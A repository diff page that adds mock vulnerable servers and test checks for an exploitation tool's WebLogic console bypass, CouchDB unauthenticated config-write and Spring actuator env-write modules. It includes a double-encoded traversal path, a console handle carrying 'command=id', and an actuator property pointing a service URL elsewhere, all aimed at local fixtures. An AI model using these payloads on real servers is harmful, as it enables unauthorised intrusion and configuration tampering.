handle="handle=weblogic.management.mbeanservers:domainRuntime"
|
||||
"%3AMBeanServer&action=run&command=id"),
|
||||
call(3, "exploit_modules"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
wlc = json.loads(text(by_id[1]))
|
||||
check("exploit_check confirms the WebLogic console bypass",
|
||||
wlc["confirmed"] is True and wlc["evidence"], wlc)
|
||||
wlr = json.loads(text(by_id[2]))
|
||||
check("exploit_run sends the operator's console handle",
|
||||
wlr["confirmed"] is True, wlr)
|
||||
mods = json.loads(text(by_id[3]))
|
||||
check("the registry lists the newer modules",
|
||||
{"weblogic_console", "couchdb_admin", "actuator_env"} <=
|
||||
{m["id"] for m in mods["modules"]}, sorted(m["id"] for m in
|
||||
mods["modules"]))
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["couchdb"], tls=False, record=False),
|
||||
call(2, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["couchdb"], tls=False, record=False,
|
||||
section="query_server_config", key="os_process_timeout",
|
||||
value="1"),
|
||||
call(3, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["couchdb"], tls=False, record=False),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
cdb = json.loads(text(by_id[1]))
|
||||
check("exploit_check reads CouchDB _config without credentials",
|
||||
cdb["confirmed"] is True and "query_server_config" in
|
||||
json.dumps(cdb["detail"]), cdb["detail"])
|
||||
cdr = json.loads(text(by_id[2]))
|
||||
check("exploit_run writes the operator's CouchDB key",
|
||||
cdr["confirmed"] is True and cdr["detail"].get("read_back") is True, cdr)
|
||||
check("couchdb run without a section is refused, not guessed",
|
||||
err(by_id[3]), by_id[3])
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["liar"], tls=False, record=False,
|
||||
section="query_server_config", key="k", value="zzz"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
cdl = json.loads(text(by_id[1]))
|
||||
check("a 200 on the write without a read-back is not a confirmation",
|
||||
cdl["confirmed"] is False, cdl)
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["actuator"], tls=False, record=False),
|
||||
call(2, "exploit_run", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["actuator"], tls=False, record=False,
|
||||
name="eureka.client.serviceUrl.defaultZone",
|
||||
value="http://127.0.0.1:9/x"),
|
||||
call(3, "exploit_run", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["actuator"], tls=False, record=False),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
act = json.loads(text(by_id[1]))
|
||||
check("exploit_check reads the actuator env",
|
||||
act["confirmed"] is True and "propertySources" in
|
||||
json.dumps(act["detail"]), act["detail"])
|
||||
actr = json.loads(text(by_id[2]))
|
||||
check("exploit_run posts the operator's property",
|
||||
actr["confirmed"] is True and actr["detail"].get("read_back") is True,
|
||||
actr)
|
||||
check("actuator run without a name is refused, not guessed",
|
||||
err(by_id[3]), by_id[3])
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_run", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["liar"], tls=False, record=False,
|
||||
name="zw.spel", value="zzz"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
actl = json.loads(text(by_id[1]))
|
||||
check("actuator env does not trust a 200 without the property coming back",
|
||||
actl["confirmed"] is False, actl)
|
||||
|
||||
# a plain 302 from the console is the patched answer, not a hit
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="weblogic_console", target="127.0.0.1",
|
||||
port=exp_targets["weblogic"], tls=False, record=False,
|
||||
path="/console/login/LoginForm.jsp"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
wlp = json.loads(text(by_id[1]))
|
||||
check("the console login page is not reported as a bypass",
|
||||
wlp["confirmed"] is False and "302" in json.dumps(wlp["detail"]), wlp)
|
||||
|
||||
# --- the gate still decides ----------------------------------------------
|
||||
exp_noscope = tempfile.mkdtemp(prefix="apex-exp-noscope-")
|
||||
res, _ = run([
|
||||
|
||||
+238
-13
@@ -19222,6 +19222,103 @@ class _JenkinsHandler(http.server.BaseHTTPRequestHandler):
|
||||
pass
|
||||
|
||||
|
||||
class _WeblogicHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""The October 2020 console: the double-encoded path reaches the console
|
||||
servlet; a normal /console request gets a 302 to the login page."""
|
||||
|
||||
def do_POST(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
raw = self.rfile.read(n).decode("latin-1")
|
||||
if "%252e%252e%252f" in self.path:
|
||||
body = ("<html><title>WebLogic Server Console</title>"
|
||||
+ ("handled:" + raw if "handle=" in raw else "") +
|
||||
"</html>").encode()
|
||||
self.send_response(200)
|
||||
else:
|
||||
body = b"redirect"
|
||||
self.send_response(302)
|
||||
self.send_header("Location", "/console/login/LoginForm.jsp")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _CouchdbHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""Admin party: _config answers without credentials; a non-admin instance
|
||||
would answer 401."""
|
||||
|
||||
config = {"query_server_config": {"os_process_timeout": "5000"}}
|
||||
|
||||
def _reply(self, code, payload):
|
||||
body = json.dumps(payload).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
parts = self.path.strip("/").split("/")
|
||||
if self.path == "/_config":
|
||||
self._reply(200, self.config)
|
||||
elif len(parts) == 2 and parts[0] == "_config" and parts[1] in self.config:
|
||||
self._reply(200, self.config[parts[1]])
|
||||
else:
|
||||
self._reply(404, {"error": "not_found"})
|
||||
|
||||
def do_PUT(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
value = self.rfile.read(n).decode("latin-1")
|
||||
parts = self.path.strip("/").split("/")
|
||||
if len(parts) == 3 and parts[0] == "_config":
|
||||
self.config.setdefault(parts[1], {})[parts[2]] = value
|
||||
self._reply(200, value)
|
||||
else:
|
||||
self._reply(400, {"error": "bad_request"})
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _ActuatorHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""An unauthenticated management port with a writable /env."""
|
||||
|
||||
props = {"server.port": "8080"}
|
||||
|
||||
def _reply(self, code, payload):
|
||||
body = json.dumps(payload).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
if self.path == "/actuator/env":
|
||||
self._reply(200, {"activeProfiles": [],
|
||||
"propertySources": [{"name": "server",
|
||||
"properties": self.props}]})
|
||||
else:
|
||||
self._reply(404, {"error": "not_found"})
|
||||
|
||||
def do_POST(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
try:
|
||||
data = json.loads(self.rfile.read(n).decode("latin-1"))
|
||||
except ValueError:
|
||||
self._reply(400, {"error": "bad_json"})
|
||||
return
|
||||
self.props[data.get("name", "")] = data.get("value", "")
|
||||
self._reply(200, {"name": data.get("name"),
|
||||
"value": data.get("value")})
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
class _InjectHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""A parameter that reaches a shell with a naive filter: '&&' and '&' are
|
||||
blocked, everything that contains ';' or '|' is passed through. That makes
|
||||
@@ -19259,11 +19356,51 @@ class _InjectHandler(http.server.BaseHTTPRequestHandler):
|
||||
pass
|
||||
|
||||
|
||||
class _LiarHandler(http.server.BaseHTTPRequestHandler):
|
||||
"""Accepts every write with a 200 and stores nothing. A module that calls
|
||||
that "confirmed" is lying to the operator, so this fixture exists to make
|
||||
the run modes prove a read-back instead of trusting the status code. It
|
||||
answers the CouchDB and the actuator shapes, because both had that bug."""
|
||||
|
||||
def _reply(self, code, payload):
|
||||
body = json.dumps(payload).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
if self.path == "/actuator/env":
|
||||
self._reply(200, {"activeProfiles": [],
|
||||
"propertySources": [{"name": "x",
|
||||
"properties": {}}]})
|
||||
elif self.path == "/_config":
|
||||
self._reply(200, {"query_server_config": {}})
|
||||
else:
|
||||
self._reply(200, {})
|
||||
|
||||
def do_POST(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
self.rfile.read(n)
|
||||
self._reply(200, {"ok": 1})
|
||||
|
||||
def do_PUT(self):
|
||||
n = int(self.headers.get("Content-Length", "0"))
|
||||
self.rfile.read(n)
|
||||
self._reply(200, "ok")
|
||||
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
|
||||
exp_targets = {}
|
||||
exp_servers = []
|
||||
for _name, _h in (("shock", _ShockHandler), ("struts", _StrutsHandler),
|
||||
("put", _PutHandler), ("trav", _TraversalHandler),
|
||||
("jenkins", _JenkinsHandler), ("inject", _InjectHandler)):
|
||||
("jenkins", _JenkinsHandler), ("inject", _InjectHandler),
|
||||
("weblogic", _WeblogicHandler), ("couchdb", _CouchdbHandler),
|
||||
("actuator", _ActuatorHandler), ("liar", _LiarHandler)):
|
||||
_s = http.server.HTTPServer(("127.0.0.1", 0), _h)
|
||||
exp_targets[_name] = _s.server_address[1]
|
||||
exp_servers.append(_s)
|
||||
@@ -19291,9 +19428,10 @@ check("exploit_modules lists the shipped modules",
|
||||
sorted(ids))
|
||||
check("exploit_modules reports its own count",
|
||||
mods["count"] == len(mods["modules"]), mods["count"])
|
||||
check("exploit_modules carries a CVE per module",
|
||||
check("exploit_modules carries a CVE where the bug has one",
|
||||
all(m["cve"] for m in mods["modules"]
|
||||
if m["id"] not in ("cmd_inject", "jenkins_script")),
|
||||
if m["id"] not in ("cmd_inject", "jenkins_script",
|
||||
"couchdb_admin", "actuator_env")),
|
||||
[m["id"] for m in mods["modules"] if not m["cve"]])
|
||||
info = json.loads(text(by_id[2]))
|
||||
check("exploit_info describes run parameters and remediation",
|
||||
@@ -19497,6 +19635,103 @@ check("html and unicode use the numeric form",
|
||||
check("charcodes is a comma separated list",
|
||||
enc_out[10] == "65,32,122,47", enc_out[10])
|
||||
|
||||
# --- check and run: the three newer modules ------------------------------
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="weblogic_console", target="127.0.0.1",
|
||||
port=exp_targets["weblogic"], tls=False, record=False),
|
||||
call(2, "exploit_run", module="weblogic_console", target="127.0.0.1",
|
||||
port=exp_targets["weblogic"], tls=False, record=False,
|
||||
handle="handle=weblogic.management.mbeanservers:domainRuntime"
|
||||
"%3AMBeanServer&action=run&command=id"),
|
||||
call(3, "exploit_modules"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
wlc = json.loads(text(by_id[1]))
|
||||
check("exploit_check confirms the WebLogic console bypass",
|
||||
wlc["confirmed"] is True and wlc["evidence"], wlc)
|
||||
wlr = json.loads(text(by_id[2]))
|
||||
check("exploit_run sends the operator's console handle",
|
||||
wlr["confirmed"] is True, wlr)
|
||||
mods = json.loads(text(by_id[3]))
|
||||
check("the registry lists the newer modules",
|
||||
{"weblogic_console", "couchdb_admin", "actuator_env"} <=
|
||||
{m["id"] for m in mods["modules"]}, sorted(m["id"] for m in
|
||||
mods["modules"]))
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["couchdb"], tls=False, record=False),
|
||||
call(2, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["couchdb"], tls=False, record=False,
|
||||
section="query_server_config", key="os_process_timeout",
|
||||
value="1"),
|
||||
call(3, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["couchdb"], tls=False, record=False),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
cdb = json.loads(text(by_id[1]))
|
||||
check("exploit_check reads CouchDB _config without credentials",
|
||||
cdb["confirmed"] is True and "query_server_config" in
|
||||
json.dumps(cdb["detail"]), cdb["detail"])
|
||||
cdr = json.loads(text(by_id[2]))
|
||||
check("exploit_run writes the operator's CouchDB key",
|
||||
cdr["confirmed"] is True and cdr["detail"].get("read_back") is True, cdr)
|
||||
check("couchdb run without a section is refused, not guessed",
|
||||
err(by_id[3]), by_id[3])
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_run", module="couchdb_admin", target="127.0.0.1",
|
||||
port=exp_targets["liar"], tls=False, record=False,
|
||||
section="query_server_config", key="k", value="zzz"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
cdl = json.loads(text(by_id[1]))
|
||||
check("a 200 on the write without a read-back is not a confirmation",
|
||||
cdl["confirmed"] is False, cdl)
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["actuator"], tls=False, record=False),
|
||||
call(2, "exploit_run", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["actuator"], tls=False, record=False,
|
||||
name="eureka.client.serviceUrl.defaultZone",
|
||||
value="http://127.0.0.1:9/x"),
|
||||
call(3, "exploit_run", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["actuator"], tls=False, record=False),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
act = json.loads(text(by_id[1]))
|
||||
check("exploit_check reads the actuator env",
|
||||
act["confirmed"] is True and "propertySources" in
|
||||
json.dumps(act["detail"]), act["detail"])
|
||||
actr = json.loads(text(by_id[2]))
|
||||
check("exploit_run posts the operator's property",
|
||||
actr["confirmed"] is True and actr["detail"].get("read_back") is True,
|
||||
actr)
|
||||
check("actuator run without a name is refused, not guessed",
|
||||
err(by_id[3]), by_id[3])
|
||||
|
||||
res, _ = run([
|
||||
call(1, "exploit_run", module="actuator_env", target="127.0.0.1",
|
||||
port=exp_targets["liar"], tls=False, record=False,
|
||||
name="zw.spel", value="zzz"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
actl = json.loads(text(by_id[1]))
|
||||
check("actuator env does not trust a 200 without the property coming back",
|
||||
actl["confirmed"] is False, actl)
|
||||
|
||||
# a plain 302 from the console is the patched answer, not a hit
|
||||
res, _ = run([
|
||||
call(1, "exploit_check", module="weblogic_console", target="127.0.0.1",
|
||||
port=exp_targets["weblogic"], tls=False, record=False,
|
||||
path="/console/login/LoginForm.jsp"),
|
||||
], home=exp_home)
|
||||
by_id = {r.get("id"): r for r in res}
|
||||
wlp = json.loads(text(by_id[1]))
|
||||
check("the console login page is not reported as a bypass",
|
||||
wlp["confirmed"] is False and "302" in json.dumps(wlp["detail"]), wlp)
|
||||
|
||||
# --- the gate still decides ----------------------------------------------
|
||||
exp_noscope = tempfile.mkdtemp(prefix="apex-exp-noscope-")
|
||||
res, _ = run([
|
||||
@@ -19540,16 +19775,6 @@ for _s in exp_servers:
|
||||
_s.server_close()
|
||||
shutil.rmtree(exp_home, ignore_errors=True)
|
||||
|
||||
for _s in exp_servers:
|
||||
_s.shutdown()
|
||||
_s.server_close()
|
||||
shutil.rmtree(exp_home, ignore_errors=True)
|
||||
|
||||
for _s in exp_servers:
|
||||
_s.shutdown()
|
||||
_s.server_close()
|
||||
shutil.rmtree(exp_home, ignore_errors=True)
|
||||
|
||||
print("%d passed, %d failed" % (passes, len(fails)))
|
||||
if fails:
|
||||
print("failed: " + ", ".join(fails))
|
||||
|
||||
Reference in new issue
Block a user